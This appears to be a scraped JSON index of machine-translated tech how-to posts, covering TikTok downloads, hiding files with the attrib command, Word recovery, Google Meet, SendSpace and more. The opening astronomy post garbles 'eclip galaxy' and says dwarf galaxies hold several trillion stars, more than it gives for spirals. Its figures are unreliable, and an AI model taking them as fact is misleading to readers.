Each galaxy has a different number of stars. Giant galaxies like eclip galaxy can hold up to 100 trillion stars. Spiral galaxies may contain more than 1 trillion stars. And smaller galaxies like dwarf galaxies are about several trillion stars.\nSo what about in our Milky Way galaxy ? Located in the small corner of the visible universe, the Milky Way contains about 400 billion stars.\nAccording to astronomers calculations:\nThe star is in the visible universe = the average number of stars in each galaxy x the number of galaxies in the visible universe = 1,000,000,000,000,000,000,000,000 (10 powers of 24) stars.\nThis is an academic number based on theoretical calculations but indeed a very large number.\n  From the micro level from the \"sky\" is the night sky where people can observe with the eyes at a position on Earth.\nUnder optimal observation conditions, humans can only observe about 5000 stars in the night sky. Under the influence of surrounding factors (unfavorable weather, air pollution .) we can only observe half of these stars about 2500 stars .\nncG1vNJzZmismaXArq3KnmWcp51ksaqwjLKmrmWRo8C4sdFmq6GdXabCpr%2FToqanZZikxG65wKewZquklr%2B0ecinZK2glWLArMU%3D\n","link":"/post/how-many-stars-in-the-sky/","section":"post","tags":null,"title":"How many stars in the sky?"},{"body":"Tik Tok is a super hot video social network currently used by many young people, this is where people share funny and funny short clips regardless of dancing, dancing, free style or performances. talent, . to express your personality and creativity.\nAs a video social network, hundreds or even thousands of videos are uploaded every day to Tik Tok. Of course, there will be lots of crap videos, but not many unique videos that make sense to you, right? So what if you want to download certain videos on Tik Tok to review or upload to other social networking sites like Youtube, Facebook, .? The following article will share with you a small tip to be able to download videos on Tik Tok to your phone in the simplest way.\nHow to install and use Tik Tok on your computer How to turn Tik Tok back in time How to record videos of Tik Tok through Instructions to download videos on Tik Tok saved to your phone Actually downloading Tik Tok videos is not as difficult as you think, because the application already supports this function on every phone, you just need to follow the steps like the following instructions to download videos with quality HD amount as the original version has been uploaded.\nStep 1:\nDownload and update the latest version of Tik Tok for the device by clicking the link below.\nTik Tok for iOS Tik Tok for Android Step 2:\nYou open Tik Tok, at the main interface of any video application and if you are interested in any video, please click on the share icon to proceed to save Tik Tok video to your phone.\n  Step 3:\nA new interface appears, click on Save to device. Normally, every video on Tik tok is only 15s so the download takes place very quickly and there is no difficulty at all.\n  Step 4:\nWaiting for a moment will have a message to finish downloading the Tik Tok video to the device similar to the image below. To review the downloaded video, you can access the Library section on your phone. The list of Tik Tok videos that you download will appear and you can freely review and delete them to optimize the device system.\n  Note: In addition to allowing you to save Tik Tok videos to your phone, the share button also helps you share videos to popular social networks such as Facebook, Tweeter, etc. Each video downloads from Tik Tok to the device below. The right corner of the video will have the Tik Tok logo and the video recorder ID, so you can find the owner of the video via ID Tik Tok.\nAbove is a guide to how to download videos on Tik Tok to your phone very simply and effectively. You don't need to install any additional tools or software and still be able to download videos on Tik Tok with HD quality, which is great, right?\nBesides Tik Tok, the two largest video-sharing social networks today are Facebook or Youtube, allowing users to download videos to their devices. If you don't know, you can refer to how to download videos on Youtube or download Facebook videos on your phone in the posts that Network Administrator has shared before.\nHope you are succesful.\nSee more:\nTop 10 most downloaded iPhone apps in the world, Tik Tok is at the top of the list How to use Kwai on your phone, add effects, parody a video voice that is \"hot\" online Add a tool to download high quality YouTube and Facebook videos ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK2hm2LBsLeMr6CdnZ%2BoerW7jLKmrqpdpbWwusQ%3D\n","link":"/post/how-to-download-tik-tok-videos-to-your-phone/","section":"post","tags":null,"title":"How to download Tik Tok videos to your phone"},{"body":"The file manager (File Explorer) on Windows 7/8 / 10 allows you to hide files and folders very easily, and Admin has a very detailed tutorial for You guys, you can review here: How to make hidden files in USB on Win XP, 7,8,10 caused by Virus\nWell, hiding files or folders helps you to protect some important documents, in case outsiders use the machine, they will not worry about being lost, or exposed. However, this method only works for those who are less computer savvy, but for those who know a little about the computer, you can still view these hidden files normally.\nReturn to main content in today's article. In the usual way, to hide a file or any folder, you just need to right-click on the File / Folder =\u0026gt; select Properties=\u0026gt; and tick the option Hidden=\u0026gt; and click Apply is done. The items you hide will not be visible at this point until this option is removed.\n  And in addition to the above method, you can also use Command Promptto help hide folders, use this way to hide the folder when you cannot open Folder/ File Optionit. Okey, let's find out right away in this article!\n1. Hide / show files or folders by command in cmd + Step 1: In this article you can use the default Windows Command Prompt, you can quickly open it by pressing the Windows + R=\u0026gt; key combination and enter the keyword cmd=\u0026gt; \u0026nbsp;and press OK.\n  As for me, I will try a Terminalnew version that Microsoft has just released a beta version, MS introduces many new features such as: can enable multiple tabs at the same time, support EMOJI if any, support even Windows Subsytem For Linuxmore.\nIf you want to experience the same test as me, you can download it Windows Terminal Prevewon the Windows Store using this link. The program will have flat icons like Office 365 icons and interface as shown below.\n  + Step 2: Return to the main problem that is hiding any folder or file.\nThen first you need to locate the path of the files and folders you want to hide. View by accessing that folder =\u0026gt; and then click on the address bar File Exploreras shown in the picture, if it is a file (File), copy the directory path + the full name of the file:\n  + Step 3: Once you have the path of the folder you need to hide =\u0026gt; now you open the window Command Prompt(Step 1) or Windows Terminal Previewlike her on =\u0026gt; and right-click the terminal window to Pastethe command Click here (just right click and you can do it)\nattrib + h D: b\nIn the above command, remember to replace D: b with the path of the folder or File that you want to hide it from =\u0026gt; and press Enter to execute the command.\nNote: You do not need to run the Command Prompt with Administrator rights, because in fact hiding files on Windows is a very small feature, which is also possible for ordinary users.\n  + Step 4: Done, now go back to the folder or partition containing the folder or file that you have just hidden to check again.\nUsually we won't see that file anymore, but I'm turning on Windows hidden file display so I will still see that folder, but it will be dimmed a bit.\n  2. How to show hidden files / folders with cmd command Hide File / Folder now, now you want to show hidden files and files, then what?\nYou can still show that file by the traditional way that is to right click on the hidden file / folder (of course before that you have to turn on the hidden file mode) =\u0026gt; select Properties=\u0026gt; then uncheck it. Oh, Hidden filethat's fine.\nOr you can follow the way to show hidden files with this command in CMD, enter the following command in the window CMD=\u0026gt; and press Enter.\nattrib -s -h D: b\nNote: Remember to replace D:\u0026nbsp;b with the path to the file or folder that needs to be restored.\nNow check again in File Explorer, you can see bthat the folder you just hidden will appear normally again.\nGood luck.\ncmd command cmd ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuv8eormaemaGytHnAp5tmnp%2Bhsaa%2B0maZsmWTorFur86mpJqmlGK8r3nWoqVmaWBthA%3D%3D\n","link":"/post/how-to-hide-show-files-and-folders-by-cmd-command-on-win-10-8-7/","section":"post","tags":null,"title":"How to HIDE / SHOW files and folders by cmd command on Win 10/8/7"},{"body":"Windows 10 makes copying and pasting more convenient with a feature called Clipboard History. It allows you to pin items you frequently copy and paste into lists for quick access. Here is how to use this feature.\nWhat is Clipboard History? Clipboard History was introduced in the October 2018 Update of Windows 10. It allows you to see a list of the 25 most recent items that you copied to the Clipboard by pressing Win+ V.\nWith History turned on, Windows stores items including text, HTML, or images smaller than 4 MB. Larger items are not stored in Clipboard History. The items in the list are also deleted each time you restart the device unless they are pinned.\nBy default, Clipboard History is not enabled, you must enable it in Settings.\nHow to turn on Clipboard History in Windows 10 To turn on Clipboard History, click the Start button , then click the gear icon on the left side of the Start menu to open Windows Settings . Alternatively, you can press Win+ I.\nClick on System.\nClick on System Click Clipboard in the sidebar, then turn on the Clipboard History option .\nTurn on the Clipboard History option Clipboard History is now activated. You can close Windows Settings and use this feature anywhere on the system.\nHow to pin items to the Clipboard History in Windows 10 After you enable Clipboard History, press Win+ Vto open a list of items you have recently copied in any application.\nA window will appear near the application you use or in the lower right corner of the screen, if all windows are closed or minimized. The items you have most recently copied will be at the top of the list.\nYou can pin an item to the Clipboard History list in two steps. First, click the ellipsis ( . ) next to the item you want to pin.\nClick the ellipsis (.) next to the item you want to pin A small menu will appear next to the items, select Pin.\nSelect Pin When you pin an item, it will remain in the Clipboard History, even if you restart the computer or click Clear All .\nTo unpin an item, just press Win+ Vto open Clipboard History. Click the ellipsis next to the item, then click Unpin.\nWhenever you want to quickly paste an item you've pinned, simply press Win+ Vand select it from the list. This item will then be pasted into the application you use.\nWhenever you want to paste a pinned item, just press Win + V and select it from the listncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiZo3q1sdetZJqmlGK2rq3GnqpmrJ9iwamxjLCgp5yfrMBufY9mmqWhoJe8or7DZp%2Biq6Skv7o%3D\n","link":"/post/how-to-pin-text-and-images-to-the-windows-10-clipboard-history/","section":"post","tags":null,"title":"How to pin text and images to the Windows 10 Clipboard History"},{"body":"  Click the link to open the PDF file. The PDF file will automatically open in the Safari app. When you click on the link to the PDF file, the document content will appear in the browser.\n  Pinch to zoom in and out. When viewing a PDF file on Safari, you can perform a pinch on the screen like you would with any website. Move two fingers apart to zoom in, and pinch closer when you want to zoom out.\n  Long press to highlight text. If you want to copy text from the PDF, long press on the screen. Release your finger when the magnifying glass icon appears, then drag the handle to select the text.\nSince PDF files are created in different ways, highlighting text can be difficult or impossible.\n  Send PDF files to iBooks. You can add the PDF you're viewing to the iBooks app (or other PDF reader). This will allow you to access the PDF file at any time, even without a network connection.\nTap the PDF file you're viewing on Safari.\nClick the \"Open in iBooks\" button that appears. If you have another PDF reader, tap the \"Open in.\" button and select that app.\nView PDF content on iBooks or a PDF reader. If you open a PDF file on iBooks, the file's contents are stored in the app and iCloud storage for you to access at any time.\nView PDF file attached to email   Open the email containing the PDF attachment. Open the email to access the attachment link at the bottom of the screen.\n  Click on the attached PDF file to view the content. The PDF file will open in the Mail app's PDF reader.\n  Pinch to zoom in and out. You can move two fingers apart to zoom in, or pinch them together to zoom out.\n  Long press on text to highlight. Release your finger when the magnifying glass icon appears. You can customize the selection by dragging the handles at either end.\nIf the PDF file was created by scanning the page, you may not be able to highlight the text.\n  Save PDF files to iBooks for easier access. While you can always find the PDF file again if the email is saved, sending the content to iBooks makes searching a lot easier, and you can also delete the email if you want.\nTap the screen when viewing PDF content to display the viewer interface.\nClick the Share button in the lower left corner.\nSelect \"Copy to iBooks\" from the top row of options. You may need to scroll down to find this option.\nReview PDF files on iBooks at any time. After you add a PDF file to your iBooks library, the content is stored on your iPhone and iCloud library. You can read at any time, even without internet.\nTransfer PDF files from computer   Open iTunes. The easiest way to add PDF files to iPhone is to sync the content using iTunes. If you don't have iTunes, you can download it for free at apple.com/itunes/download.\n  Open the \"Books\" section of your iTunes library. Once iTunes opens, click the \".\" button at the top of the window. Select \"Books\" from the menu that appears. The iTunes Book Library will open.\n  Click the \"My PDFs\" tab. This tab will appear when you open the Books section on iTunes. The PDF files located in the iTunes library will appear.\n  Drag the PDF file you want to add from your computer and drop it into the iTunes window. Click and drag the PDF file and drop it into the iTunes window to add it to your iTunes Books library.\n  Connect iPhone to computer via USB cable. Your iPhone will appear in the top row of buttons as soon as you connect. If this is the first time iPhone is connected to the computer, you will go through a short setup process and will not affect the data on the phone.\n  Highlight the PDF file in the My PDFs section that you want to copy to iPhone. Select all the PDF files you want to copy in the \"My PDFs\" section of your iTunes Books library. You can press Ctrl/⌘ Cmd+A to copy the whole thing, or hold down Ctrl/⌘ Cmd and then click each file to select it.\n  Start dragging selected PDF files. On the left side of the iTunes window, a folder tree will appear.\n  Drop the PDF file onto your iPhone in the left pane. The PDF files will begin to be copied immediately to the iPhone's memory. You can monitor the process at the top of the iTunes window.\n  Select Eject and disconnect iPhone after the PDF file is finished copying. After copying the PDF files to your iPhone's storage is complete, click the Iphone button at the top of the screen and then select \"Eject\". So you can safely disconnect your iPhone from the computer.\n  Find PDF files in iBooks on iPhone. Once the PDF files are copied, you can find them in the iBooks app.\nUsing iBooks   Launch iBooks after updating to iOS 9.3 or later. iOS 9.3 is introduced with the ability to sync e-book and PDF files to iCloud Drive storage. This allows you to access all your PDF files from any connected device.\n  Turn on iCloud for iBooks (optional). You can choose to enable iCloud sync for the iBooks app to sync PDF files. These content will use iCloud storage. All iCloud accounts come with 5 GB of free storage, which is also used for iCloud backups.\nYou don't have to have iCloud turned on to use iBooks. You still have access to all PDF files you've added to iBooks on your device, as well as PDFs synced with iTunes.\n  Add PDF files to iBooks. You can download the PDF file using any of the methods outlined above: download from the website, send from an email attachment, or sync from your computer. All PDF files you've added to your iPhone will appear in iBooks.\nIf you've turned on iCloud for iBooks, PDFs that you add to iBooks on any device will be visible.\n  Click the PDF file in the iBooks library. When the iBooks app launches, the entire iBooks library will appear. If you only want to see your archived PDFs, tap the \"All Books\" button at the top of the screen and select \"PDFs.\" The view will be filtered again and show only the PDF file type.\n  Swipe left and right to switch pages. When viewing a PDF file on iBooks, you can swipe the screen to go to the next page in the document.\nClick on the PDF file you are reading to open the interface, a preview of all pages will appear at the bottom of the screen. When you tap a page in the preview, you'll be immediately taken there.\n  Click the Bookmark button to bookmark the current page. Click the PDF to display the interface, then click the Bookmark button to bookmark the page you are reading. You will be able to see the bookmarked pages when viewing a preview of the entire document.\n  Click the Table of Contents button to view the entire page. This button is next to the share button at the top of the screen. When you click it, a thumbnail view of all the pages in the document will appear. Bookmarked pages will have a small bookmark icon in the corner.\n  Long press on text to highlight. Release your hand when you see the magnifying glass icon on the screen. You can then drag the handles at each end to adjust the highlighted selection.\nIf the PDF file was created from a page scan, highlighting text may be difficult or impossible.\n  Download PDF files stored in iCloud. If you have iCloud turned on with iBooks, some PDF files may be in iCloud but have not been downloaded to iPhone. These PDF files will show the iCloud icon in the corner when you view them in your iBooks library. You can click the iCloud icon to download the PDF file to your iPhone.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVlrFuvMOfZJ%2BhnJrAbrvNZqCpoJ%2Bjsg%3D%3D\n","link":"/post/how-to-read-pdf-files-on-iphone/","section":"post","tags":null,"title":"How to Read PDF Files on iPhone"},{"body":" This wikiHow teaches you how to recover an unsaved Microsoft Word document, as well as how to restore unsaved changes to a saved document. You can do this on both Windows and Mac computers. If you can't recover your Word document using...\nMethod 1of 4:\nRecovering an Unsaved Document on Windows Open Microsoft Word. The Word app icon resembles a white \"W\" on a dark-blue background.\n Click Open Other Documents. This option is in the bottom-left side of the window.\n Click Recover Unsaved Documents. It's at the bottom-center of the window. Doing so opens the Word recovery folder, in which you should see a list of recently backed-up files.\n Select a document to recover. Click the document that you want to restore.\n Click Open. It's in the bottom-right side of the window. The document will open in Word.\n Click Save As. This is a grey tab near the top of the Word window.\n Select a save location. Click a folder on the left side of the page. You can also enter a name for the document in the \"File name\" text field here.  Click Save. It's in the bottom-right corner of the window. Doing so saves the recovered document.\n Method 2of 4:\nRecovering an Unsaved Document on Mac Click Go. It's a menu item at the top of the screen. A drop-down menu will appear. If you don't see the Go menu item, open Finder or click the desktop to make it appear.  Hold down the ⌥ Option key. Doing so prompts the Library folder to appear in the Go drop-down menu.\n Click Library. It's in the Go drop-down menu. Doing so opens the hidden Library folder.\n Open the \"Containers\" folder. Double-click the \"Containers\" folder, which is in the \"C\" section of the Library folder.\n Click the search bar. It's in the upper-right side of the window.\n Search for the Microsoft folder. Type in com.microsoft.Word and press ⏎ Return.\n Click the \"Containers\" tab. It's to the right of the \"Search:\" heading near the top of the Finder window.\n Open the \"com.microsoft.Word\" folder. Double-click this folder to open it.\n Open the \"Data\" folder.\n Open the \"Library\" folder.\n Open the \"Preferences\" folder. You may have to scroll down to see this folder.\n Open the \"AutoRecovery\" folder. Doing so will bring up a list of files that Word automatically saved for you.\n Select the file that you want to restore. Click the file to select it. If you don't see any files here, your Word file wasn't backed up.  Click File. It's a menu item in the top-left corner of the screen. A drop-down menu will appear.\n Select Open With. This option is near the top of the File drop-down menu.\n Click Word. It's in the Open With pop-out menu.\n Save the document. Press ⌘ Command+S, then enter a file name, select a save location in the \"Where\" menu, and click Save.\n Method 3of 4:\nRestoring Unsaved Changes on Windows Open Microsoft Word. If your computer turned off or closed Word in the middle of editing a saved document, Word will save a temporary copy of the document for a limited amount of time.\n Click Show Recovered Files. It's in the upper-left side of the Word home page.\n Select a file. In the pane on the left-hand side of the window, click the name of the document that you want to restore. Doing so will open it in the Word main window. If you accidentally select the wrong file, you can select a different file here instead to replace the current file. The easiest way to tell which document to restore is by looking at the time at which the document was last saved. The most recent time is probably the one that you want.  Click Save. It's a grey tab near the top of the Word window, just below the toolbar. Doing so opens the Save As window.\n Enter a file name. Type the name of the Word file into the \"File name\" text field. You can also select a save location by clicking a folder on the left side of this window.  Click Save. It's in the bottom-right corner of the window. This will save your Word recovery file as a Word document.\n Method 4of 4:\nRestoring Unsaved Changes on Mac Look for a prompt from Microsoft Error Reporting. If your computer shut down or Microsoft Word stopped working in the middle of editing an existing document (e.g., one that you've saved before), an error window with the phrase \"There was a problem and Microsoft Word was closed. We apologize for the inconvenience.\" will appear. If you don't see a prompt from Microsoft, you'll need to try recovering the file via the Library folder.  Ensure that the \"Recover work and restart Microsoft Word\" box is checked. It's near the bottom of the window. This option will help Microsoft Word find any changes that were made to the document between the last save and the time at which Word closed.\n Click OK. It's in the bottom-right corner of the window. Word will open.\n Review your document. If the document's changes were recovered, it will open automatically. If the document's changes weren't saved, you can open the most recent version of the document by clicking Recents on the left side of the window, clicking the document's name, and clicking Open.  Save the document. Press ⌘ Command+S to do so.\n  Isabella Humphrey Update 25 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLy3sdFmrqiqlGKxsK%2FUppynrKM%3D\n","link":"/post/how-to-recover-word-documents/","section":"post","tags":null,"title":"How to Recover Word Documents"},{"body":"You can share your screen at any time during the call with Google Meet. The Chrome web browser has a ton of screen change options. You can use Firefox, Microsoft Edge or Safari for the same experiences.\nStep 1. Click Present Now at the bottom of the toolbar.\n  Step 2. Choose Your entire screen , A window or Chrome Tab from the pop-up menu.\n  Step 3. Next, select the Chrome window or tab you want to share. You can share an application window, for example Photoshop or Microsoft Excel, a web page tab, or a PDF file.\n  Step 4. Click Share .\n  Step 5. To stop sharing, click You Are Presenting\u0026gt; Stop Presenting .\n  Share your screen with a presenter You can share your screen while someone else is presenting, their screen pauses.\nStep 1. Click on [Name] is presenting .\n  Step 2. Select Your entire screen , A window or Chrome Tab .\n  Step 3. A pop-up will pop up confirming you are trying to get screen sharing permissions. Click on Share now .\n  Step 4. Select Share .\n  Join Google Meet just for presentations If you're giving a presentation during a meeting and don't need to participate in other activities, you can go just to share the screen. You will not appear on the camera, only your screen will be displayed.\nStep 1. Go to the Google Meet page and click Present .\n  Step 2. Select a window or application.\n  Step 3. Click Share .\n  How to share a screen in the Google Meet app The screen sharing process is similar when using apps on Android and iOS.\nStep 1. Join the call.\nStep 2. Tap the screen and choose the horizontal three dot icon menu .\nStep 3. Select Share screen .\n  Step 4. Click Start Sharing\u0026gt; Start now (or Start Broadcast on iOS).\nStep 5. To stop sharing, click Stop Sharing .\n  google meet ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2BmedKcqZ6dnmK2r3nGqKagpJViuqax0w%3D%3D\n","link":"/post/how-to-share-screen-in-google-meet/","section":"post","tags":null,"title":"How to share screen in Google Meet"},{"body":" SendSpace has been one of the most widely used online services for file transfers and distribution. It has been in operation since 2005, delivering huge files of up to 300MB for free and up to 10GB for Pro members. This kind of service is...\nPart 1of 5:\nRegistering for a SendSpace Account  Visit SendSpace's website. Go to https://www.SendSpace.com/ on a new browser tab.\n  Sign up. On the upper-right side of the page are some menu links. Click on the Sign Up link, and you will be directed to the registration page.\n  Register. Fill up the registration form. Fields to be filled include: Username, Full Name, Email, Password, and Primary Use. Complete the data, and click on the 'Create my account' button at the bottom of the page. SendSpace will send you an activation link to your email to validate the email address you used.   Check your email. Go to your email client, and check for new emails. An email from SendSpace with the email address no-reply@SendSpace.com should be there. Open it and look for the activation link inside.\n  Activate your SendSpace account. Click on the activation link found in the email SendSpace sent you, and you will be brought to SendSpace's website again, already logged in. Since you're still under a free account, SendSpace Lite will show in lieu of the original SendSpace logo.  Part 2of 5:\nInstalling SendSpace Wizard Desktop Tool for Windows  Go to the download page. From SendSpace's home page, click on the Tools link from the top menu. You will be directed to the SendSpace Wizard Desktop Tool download page. You can also go there directly by typing 'https://www.SendSpace.com/download_tools.html' (without quotes) into your browser's address bar.   Download the installer file. From the download page, select 'Windows' under Operating Systems, and click on the Windows logo. The installer will start downloading to your desktop.\n  Install the application. Look for the installer file on your computer. The filename will be 'SendSpace Wizard vX Windows Installer,' where X is the version number. Double-click on this file, and run the installation.\n  Run the application. Once the installation is completed, run the application by double-clicking its shortcut icon on your desktop.\n  Log in. Upon initialization of the application, it will ask for your SendSpace account before proceeding. Input your username and password, and then click the 'OK' button. SendSpace will validate your account, and sync the contents locally to this application.\n  Familiarize yourself with the user interface. Upon login, the SendSpace tool will have two main sections. The left window refers to your local file directory on your computer, and the right window reflects the contents of your SendSpace account. Within each window are sets of header toolbars for use within the application.\n Part 3of 5:\nManaging Folders on SendSpace  Create a new folder. If you want to add folders to your SendSpace account for better file organization and structure, you can create them in the right window. On the header toolbar, click on the button with the folder with the plus sign icon to create a new folder. A dialog box titled 'New remote folder' will appear where you to name the new folder, and click on the OK button once you're done. The folder will be created immediately, and will be synced with your SendSpace account online. You can also do the same operation by pressing Ctrl+F on your keyboard.   Upload a folder. From the left window, which is your local file directory, navigate through your folders until you find the folder you want to upload. Click and drag this toward the right window. The folder will be uploaded, including all the files and subfolders in it. You can monitor the upload progress on the bottom window under the Transfers tab.   Move a folder. Select the folder you want to move by clicking on it. Right-click on it to bring up the context menu, and select 'Cut' from the list. Go to the destination folder where you want to put the folder you've just cut. Once there, right-click on the area, and select 'Paste' from the menu. The folder and its contents will be moved to this new location. You can also do the same operation by pressing on your keyboard Ctrl+X to cut, and Ctrl-V to paste.   Delete a folder. Click on the folder, and right-click on it to bring up the context menu, and select 'Delete' from the options. Once a confirmation box appears, click on the 'OK' button remove of the folder. The folder will immediately be removed from your SendSpace account. You can also do the same operation by pressing the Delete button on your keyboard. Do note that this cannot be undone.   Refresh current folder view. If you want to update or refresh the contents of the folder you're currently in, click on the Refresh icon from the header toolbar. SendSpace will sync and update the folder's contents.\n  Navigate through folders. Use the left and right arrow icons on the header toolbar to move backward and forward on your folder views. These contain the history of folders you've visited, allowing you to quickly jump from one folder to the next.\n  Go to the parent folder. If you're inside a subfolder, and want to return to the folder on top of it, click on the folder icon with a curved arrow pointing up from the header toolbar. This will bring you up one folder level to its parent folder.\n  Go to the Home folder. If you want to go back to the main or Home folder of your SendSpace account, click on the house icon on the header toolbar. Wherever you are within your SendSpace account, you will be brought back to the Home folder.\n Part 4of 5:\nManaging Files on SendSpace  Upload files. From the left window, which is your local file directory, navigate through your folders until you find the files you'd like to upload. Click and drag these toward the right window. When uploading starts for these files, you can monitor the upload progress on the bottom window under the Transfers tab.   Move files. Click on the files you want to move, and right-click on them to bring up the context menu, and select 'Cut' from this. Go to your destination folder where you want to put the files you've just cut. Once there, right-click on the area, and select 'Paste' from the menu. The files will be moved to this new location. You can also do the same operation by pressing on your keyboard Ctrl+X to cut and Ctrl-V to paste.   Delete files. Click on the files you want to delete, and right-click on them to bring up the context menu, and select 'Delete.' When a confirmation box appears, click on the 'OK' button to remove the files. The files will immediately be removed from your SendSpace account. You can also do the same operation by pressing the Delete button on your keyboard. Remember that this cannot be undone.  Part 5of 5:\nSharing Files on SendSpace  Identify the file to be shared. Click on the file you want to share.\n  Copy the link location. Right-click on the file to bring up the context menu, and select 'Copy link location' from this. The URL for the file will be stored in your clipboard. You can also do the same operation by pressing Ctrl+L on your keyboard.   Use the link. You can now use the share link by pasting it on your email, IM, Facebook, Twitter, and other such accounts. Anybody who has access to this link can now access the file stored in it.   Send the file link. Right-click on the file to bring up the context menu, and select 'Send File Link' from this. An email window will appear where you can input your recipients' email addresses and an optional message. Once you complete the email, click on the 'OK' button at the bottom of the window. SendSpace has its own email server, and it will send out your email together with the link or URL of your file to your recipients. They will then have access to your file through this link. You can also do the same operation by pressing Ctrl+E on your keyboard.   Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0sc2dqqmZk5p6uLXZmqmdZZSawKzAzqlkraefoXqwuoywoKecn6zA\n","link":"/post/how-to-use-sendspace-wizard-desktop-tool-on-windows/","section":"post","tags":null,"title":"How to Use Sendspace Wizard Desktop Tool on Windows"},{"body":"On February 12, Lost Ark was officially available on Steam and quickly became a craze on this platform with a record of 1.3 million concurrent players. If compared with many other super products, this is the highest number that a game has achieved in the past 2 years on Steam.\n  For a long time, CS:GO dominated the Steam rankings, but when Lost Ark was released, the dominance of the top FPS shooter produced by Valve was gone. Accordingly, Lost Ark has won the top 1 position on Steam and is also the only name to beat CS: GO for more than 2 years.\n  For gamers who do not know, Lost Ark is an action role-playing game and was first released in Korea, then in Russia and most recently globally. Currently, Lost Ark is being released by Amazon Game Studios for free on Steam and any gamer can download it to experience. However, to be able to play Lost Ark, Vietnamese gamers will have to fake IP abroad due to Amazon Game Studios' policy.\n  Since its launch, Lost Ark has been appreciated for its beautiful graphics and greatly elaborated by the developer. Not only that, the gameplay of Lost Ark also impresses many gamers because it is quite similar to the Diablo game series with a large open world map and a dungeon system that goes on forever without getting bored.\nncG1vNJzZmismaXArq3KnmWcp51kt7a%2F02apnqSVlsCmsIylpqysXZa%2FrHnHmqpmmpWYvK6xjK2fnmWYpMG1sdKtZKCZnZp6sLqMrKuemZ0%3D\n","link":"/post/just-released-lost-ark-has-become-the-hottest-game-on-steam/","section":"post","tags":null,"title":"Just released, Lost Ark has become the hottest game on Steam"},{"body":"NOISE filter group The Noise filter group is used to prepare the printed image and create a special effect. They belong to the most valuable and most common filter group in Photoshop's own set of filters. These filters can add and remove noise from noise (Noise) defined as residual pixels that originate, either beads on film, or other defects such as dirt that sticks to the image. origin. - Add Noise - \n The Add Noise filter is used to assign a certain type of texture to the image by spraying speckled dust. Add Noise creates results that are basically the same, regardless of the image content. Add filters and a white image are often the basis for many interesting textures. It is used to hide the \"contacts\" of the flat color onto an image, onto areas where the image needs to be grainy, and inside each individual channel to keep the gradients from blending. (by assigning a small but different amount of noise to each channel). - Despeckle - Despeckle filter is used to remove noise bits from the outside of the image after the image is scanned - and often before color correction. This is a one-step filter with no parameters. However, Despeckle can be applied many times. It smooths out damaged column charts, and helps to recover missed values. - Dust \u0026amp; Scratches - Dust \u0026amp; Scratches filter eliminates defects from images. It is best used in small selections. Because it performs smudging in a selection and tries to make the color in this selected area blend (blend) into another selected area. However, Dust \u0026amp; Scratches can be used effectively to create special effects, by setting Radius to 16 (maximum) and Threshold (minimum). At these settings the filter completely obscures the image while retaining the light area of ​​the image without wiping them in the same way as the Gaussian Blur filter still does. - Median - One of the original Photoshop filters, Median is the prototype of the Watercolor filter. It selects the \"average\" color of the selection for the Radius \u0026amp; Scratches distance, but it does not have a lot of control settings, so Dust \u0026amp; Scratches is better for preparing prints. PIXELATE filter group \n The Pixelate filter group works by dividing the image into multiple pixel clusters - square blocks (Mosaic filters), uneven blocks (Crystallize), random points (Mezzotint), etc. All are stylized. images with low value settings, and can destroy image content when there is a high set value. - Color Halftone - Color Halftone filter changes your image into color printing newspaper with low quality. You may ask, why? Basically this is a special effect. It is not valid as a production tool. Color Halftone filters make images look like funny comics, you can choose sizes and angles for half-tone points. Our suggestion is not to change the default Screen Angle unless you have a good reason to do so. - Crystallize - The Crystallize filter transforms the image into colored cells or honeycomb based on the image color. This is a special effects filter that can make your images look very different. Crystallize is a very useful filter for creating stylized versions of images, or for use in a channel then use this channel as a mask to apply a decent filter. The resulting gray shadows will change the filter results in a seemingly random way. - Facet - The Facet filter removes part of the sharpness at the border of the image elements. This one-Step filter (one step) may have to be applied several times until you see the result. Facet filter is a special effect type. - Fragment - The Fragment filter is a one-step (One-Step) filter that creates the effect as if your image has passed an earthquake of 4.2 Richter scale (strong shaking but not enough to destroy). - Mezzotint - The Mezzotint filter is an unsuccessful attempt to copy the traditional process of making prints using the etching method (Mezzotint). Mezzotint can be used in the field of creating special effects but the image received is too crude to be used as a mezzotint. The result may be better if you use the Deffusion Dither option on Bitmap conversion mode and create a grayscale mezzotint. If you need mezzotint color printing, divide your file into multiple component channels (choose Split Channels in the Channels palette - all layers need to be merged or flattened first, if you want to work with them). . Change each channel to Bitmap mode then return to Grayscale mode, and re-combine them by selecting Merge Channels in the Channels palette. - Mosaic - Mosaic filters transform your image into big pixels - pure color blocks. It finds the average color in the size block you choose and uses this color to create the block. The result of Mosaic filter is an abstract version of the image, similar to the Crystallize effect creating polygon cells. Mosaic filter is useful to simplify an image or font (background). - Pointillize - \n Pointillize filters turn images into small dots - like pictures of pointillism techniques (painting with tiny dots of different colors and eyes that are often seen as a color blend) by Georges Seurat. That can create a lovely stylized effect. This type of filter creates special effects, and the bow can also be used to create textures.\nncG1vNJzZmismaXArq3KnmWcp51ku7C10p5kZpmemXpuvMixnKWZpJp6p7XLrZyrZZenvLa8\n","link":"/post/noise-pixelate-filter-group/","section":"post","tags":null,"title":"NOISE \u0026amp; PIXELATE filter group"},{"body":"What is the queue data structure (Queue)? Queue (Queue) is an abstract data structure, is something similar to queues in everyday life (queuing).\n  Other than the stack, the queue is open at both ends. One end is always used to insert input (also known as incoming rows) and the other end is used to delete data (leaving the row). The queue data structure follows the First-In-First-Out method, ie the first entered data will be accessed first.\nIn real life, we have many examples of queues, such as cars on one-way roads (especially when traffic is blocked), in which the first car will exit first. Some other examples are queuing up students, queuing up for tickets, .\nDemonstration of queue data structure (Queue) Now you probably imagine what a queue is. We can access both ends of the queue. Below is a queue representation in the form of data structures:\n  Similar to the stack data structure, the queue data structure can also be deployed using Arrays (Array), Link list (Linked List), Pointer (Pointer) and Structure (Struct ). For simplicity, the next section will learn more about queues deployed using one-dimensional arrays.\nBasic operations on queue data structure Activities on the queue data structure may involve queuing initialization, using data on the queue and then deleting data from memory. The list below is some basic operations that can be performed on queue data structures:\nEnqueue () : add (or store) an element into the queue.\nOperation dequeue () : delete an element from the queue.\nIn order to use queues effectively, we also need to check the status of the queue. For this purpose, here are some other support features of the queue:\nThe peek () 